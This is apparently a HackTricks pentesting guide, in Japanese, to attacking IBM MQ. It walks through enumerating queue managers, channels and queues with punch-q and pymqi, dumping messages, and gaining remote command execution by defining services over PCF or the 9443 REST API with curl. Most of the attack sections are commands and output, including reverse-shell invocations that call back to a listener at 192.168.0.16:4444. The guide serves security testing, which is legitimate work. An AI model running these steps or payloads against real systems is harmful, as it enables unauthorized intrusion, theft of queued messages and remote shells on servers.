1414 - Pentesting IBM MQ
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
IBM MQは、メッセージキューを管理するためのIBMの技術です。他のメッセージブローカー技術と同様に、プロデューサーとコンシューマー間で情報を受信、保存、処理、分類することに専念しています。
デフォルトでは、IBM MQはTCPポート1414を公開します。
場合によっては、HTTP REST APIがポート9443で公開されることがあります。
メトリクス(Prometheus)はTCPポート9157からもアクセス可能な場合があります。
IBM MQのTCPポート1414は、メッセージ、キュー、チャネルなどを操作するために使用できますが、インスタンスの制御にも使用できます。
IBMは豊富な技術ドキュメントを https://www.ibm.com/docs/en/ibm-mq で提供しています。
ツール
簡単な悪用のための推奨ツールは punch-q(Dockerを使用)です。 このツールはPythonライブラリpymqiを積極的に使用しています。
より手動で行う場合は、Pythonライブラリ pymqi を使用してください。 IBM MQ dependencies が必要です。
pymqiのインストール
IBM MQ dependencies をインストールして読み込む必要があります:
- アカウント(IBMid)を https://login.ibm.com/ で作成します。
- IBM MQライブラリを https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc からダウンロードします。Linux x86_64用は 9.0.0.4-IBM-MQC-LinuxX64.tar.gz です。
- 展開する(
tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz)。 - ライセンス条項に同意するために
sudo ./mqlicense.shを実行します。
Kali Linuxを使用している場合は、ファイル
mqlicense.shを修正してください:次の行(105-110行の間)を削除/コメントアウトします:if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ] then echo "ERROR: This package is incompatible with this system" echo " This package was built for ${BUILD_PLATFORM}" exit 1 fi
- 以下のパッケージをインストールします:
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
- 次に、
.soファイルを一時的に LD に追加します:export LD_LIBRARY_PATH=/opt/mqm/lib64、他のこれらの依存関係を使うツールを実行する前に実行してください。
その後、プロジェクト pymqi をクローンできます: 興味深いコードスニペットや定数などが含まれています。あるいは pip install pymqi でライブラリを直接インストールできます。
punch-q の使用
Docker を使う場合
次のように実行します: sudo docker run --rm -ti leonjza/punch-q.
Docker を使わない場合
プロジェクト punch-q をクローンし、readme の指示に従ってインストールしてください (pip install -r requirements.txt && python3 setup.py install)。
その後、punch-q コマンドで使用できます。
列挙
punch-q や pymqi を使って、キュー・マネージャ名、ユーザ、チャネル、キュー を列挙してみてください。
もし TCP/1414 がフィルタされているかターゲットが組み込みの web サーバのみを公開している場合は、TCP/9443 も確認してください。最近の IBM MQ バージョンでは、mqweb が有効なときにデフォルトで IBM MQ Console / REST API をそこに公開しており、管理用 REST エンドポイントは有効な資格情報があれば任意の MQSC コマンドを実行できます。
キュー・マネージャ
場合によっては、キュー・マネージャ名を取得されても保護がないことがあります:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR
チャネル
punch-q は既存のチャネルを見つけるために内部(変更可能な)wordlist を使用します。使用例:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
一部の IBM MQ インスタンスは 認証されていない MQ リクエストを受け付けることがあり、--username / --password が不要な場合があります。もちろん、アクセス権は環境によって異なることもあります。
1つのチャンネル名(ここでは: DEV.ADMIN.SVRCONN)を取得すれば、他のすべてのチャンネルを列挙できます。
列挙は基本的に pymqi の code/examples/dis_channels.py にあるこのコードスニペットで行えます:
import logging
import pymqi
logging.basicConfig(level=logging.INFO)
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
prefix = '*'
args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)
qmgr.disconnect()
… しかし、punch-qはその部分も組み込んでいます(さらに詳細な情報付き!)。次のように起動できます:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...
| Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN | Server-connection | | | | | |
| DEV.APP.SVRCONN | Server-connection | app | | | | |
| SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | |
| SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | |
| SYSTEM.DEF.AMQP | AMQP | | | | | |
| SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | |
| SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | |
| SYSTEM.DEF.RECEIVER | Receiver | | | | | |
| SYSTEM.DEF.REQUESTER | Requester | | | | | |
| SYSTEM.DEF.SENDER | Sender | | | | | |
| SYSTEM.DEF.SERVER | Server | | | | | |
| SYSTEM.DEF.SVRCONN | Server-connection | | | | | |
| SYSTEM.DEF.CLNTCONN | Client-connection | | | | | |
CHLAUTH / OAM recon
「接続はするが 2035 を返す」ケースの多くは、CHLAUTH ルールやターゲットオブジェクトに対する OAM 権限の欠如が原因です。
既に管理者権限の MQSC アクセスを持っている場合、MATCH(RUNCHECK) はリモート接続にどのルールが適用されるかを把握する最速の方法です:
echo "DISPLAY CHLAUTH(DEV.ADMIN.SVRCONN) MATCH(RUNCHECK) CLNTUSER('admin') ADDRESS('10.10.10.10')" \
| runmqsc MYQUEUEMGR
9443上のREST admin endpointを通じて、同じチェックをリモートで行うことができます:
curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DISPLAY CHLAUTH(DEV.ADMIN.SVRCONN) MATCH(RUNCHECK) CLNTUSER('admin') ADDRESS('10.10.10.10')" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
リモートで PCF を使用する十分な権限がある場合、IBM は MQCMD_INQUIRE_CHLAUTH_RECS を公開しており、これによりチャネル認証レコードとそれらが MCAUSER にマッピングされている情報を取得できます。これは、メッセージアクセス、オブジェクト作成、またはサービスの悪用を試みる前に、チャネルがリモートユーザーをより特権的なローカルアカウントにマップしているかを確認するのに役立ちます。
キュー
pymqi (dis_queues.py) のコードスニペットがありますが、punch-q はキューに関するより多くの情報を取得できます:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description |
| | | | | | GR Name | eue Nam | |
| | | | | | | e | |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | |
| 0 18.35.1 | E | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
# Truncated
Exploit
Dump messages
queue(s)/channel(s)をターゲットにして、そこからメッセージをsniff out / dumpできます(非破壊操作)。 例:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
識別されたすべてのキューについて、躊躇せず繰り返し試してください。
コード実行
続行する前の補足: IBM MQ は複数の方法で制御できます: MQSC、PCF、Control Command。一般的な一覧は IBM MQ documentation にあります。 PCF (Programmable Command Formats) はリモートでインスタンスと対話するために本稿で注目しているものです。punch-q および pymqi は PCF によるやり取りに基づいています。
PCF コマンドの一覧は次のとおりです:
興味深いコマンドのひとつは
MQCMD_CREATE_SERVICEで、ドキュメントは here にあります。
このコマンドは、インスタンス上のローカルプログラムを指すStartCommandを引数として受け取ります(例:/bin/sh)。ドキュメントにはこのコマンドに対する警告もあります: “注意: このコマンドはユーザーに mqm 権限で任意のコマンドを実行させることができます。もしこのコマンドの使用権が与えられれば、悪意のある、あるいは不注意なユーザーがサービスを定義してシステムやデータに損害を与える可能性があります。例えば重要なファイルを削除するなどです。”
注: IBM MQ ドキュメント (Administration Reference) によると、サービス作成の等価な MQSC コマンド(
DEFINE SERVICE)を実行するための HTTP エンドポイント/admin/action/qmgr/{qmgrName}/mqscもあります。本稿ではこの点はまだ扱っていません。
もし MQ Console / REST API の認証情報が利用可能であれば、MQ クライアントライブラリを使わずに HTTPS の 9443 で同じ管理プリミティブに到達できることがしばしばあります。IBM は /ibmmq/rest/v3/admin/action/qmgr/{qmgrName}/mqsc をプレーンテキストの MQSC または JSON コマンドを受け付けるエンドポイントとして文書化しています。
リモートプログラム実行のためのサービス作成/削除は punch-q によって行えます:
例 1
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
IBM MQ のログから、コマンドが正常に実行されたことが確認できます:
2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
また、マシン上の既存のプログラムを列挙することもできます(ここでは /bin/doesnotexist は存在しません):
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436
Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done
プログラムの起動は非同期であることに注意してください。したがって、exploit を利用するには別のアイテムが必要です (listener for reverse shell, file creation on different service, data exfiltration through network …)
同じ手法は REST API から実行できます:
curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DEFINE SERVICE(HACKTRICKS) CONTROL(MANUAL) SERVTYPE(COMMAND) STARTCMD('/bin/sh') STARTARG('-c id >/tmp/mq.id')" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "START SERVICE(HACKTRICKS)" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DELETE SERVICE(HACKTRICKS)" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
これは特に次の場合の評価で有用です:
9443には到達できるが、1414はより狭い送信元範囲に制限されている場合- 対象チームが IBM MQ を主に web コンソールで管理しており、REST roles のハードニングを忘れている場合
- ローカルに IBM MQ client libraries をインストールしたくなく、MQSC-level administration のみが必要な場合
Example 2
簡単な reverse shell のために、punch-q は2つの reverse shell ペイロードも提案します :
- 1つは bash 用
- 1つは perl 用
もちろん execute コマンドでカスタムのものを作成できます。
For bash:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
perlの場合:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
カスタム PCF
IBM MQのドキュメントを参照し、pymqi pythonライブラリを直接使用して、punch-qに実装されていない特定のPCFコマンドをテストできます。
例:
import pymqi
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response
qmgr.disconnect()
If you cannot find the constant names, you can refer to the IBM MQ documentation.
_例 for
MQCMD_REFRESH_CLUSTER(Decimal = 73). It needs the parameterMQCA_CLUSTER_NAME(Decimal = 2029) which can be_(Doc: ):*import pymqi queue_manager = 'MYQUEUEMGR' channel = 'DEV.ADMIN.SVRCONN' host = '172.17.0.2' port = '1414' conn_info = '%s(%s)' % (host, port) user = 'admin' password = 'passw0rd' qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) pcf = pymqi.PCFExecute(qmgr) try: args = {2029: "*"} response = pcf.MQCMD_REFRESH_CLUSTER(args) except pymqi.MQMIError as e: print("Error") else: print(response) qmgr.disconnect()
テスト環境
- ibm.com と cloud.ibm.com のアカウントを持っていること。
- コンテナ化された IBM MQ を作成します:
sudo docker pull icr.io/ibm-messaging/mq:latest
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:latest
ここでは、キュー・マネージャー名は MYQUEUEMGR(変数 MQ_QMGR_NAME)に設定されています。
最近の 9.4.x developer イメージでは、デフォルトの動作が変更されました:
adminとappは、それらのパスワードを設定した場合にのみ作成されます- IBM は
MQ_ADMIN_PASSWORD/MQ_APP_PASSWORDを 非推奨 として9.4.0.0以降に文書化しています - 推奨される方法は、
mqAdminPasswordとmqAppPasswordという名前のシークレットを注入することです
Podman を使った簡易なローカルラボでは、両方のユーザーを次のように作成できます:
printf 'passw0rd' | podman secret create mqAdminPassword -
printf 'passw0rd' | podman secret create mqAppPassword -
podman run --secret mqAdminPassword --secret mqAppPassword \
-e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR \
-p1414:1414 -p9157:9157 -p9443:9443 \
--name testing-ibmmq icr.io/ibm-messaging/mq:latest
デフォルトの開発者設定では:
DEV.ADMIN.SVRCONNはadminユーザーのみを許可しますDEV.APP.SVRCONNはアプリケーションチャネルで、期待されるアイデンティティはappユーザーですhttps://<target>:9443/ibmmq/consoleは組み込みウェブサーバーが有効な場合にウェブコンソールを公開します
IBM MQ が起動してポートが公開されているはずです:
❯ sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
58ead165e2fd icr.io/ibm-messaging/mq:latest "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq
IBM MQ の古いバージョンの docker イメージはこちらにあります: https://hub.docker.com/r/ibmcom/mq/.
参考資料
- mgeeky’s gist - “Practical IBM MQ Penetration Testing notes”
- MQ Jumping - DEFCON 15
- IBM MQ documentation
- IBM MQ REST API:
/admin/action/qmgr/{qmgrName}/mqsc - IBM MQ container default developer configuration
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。


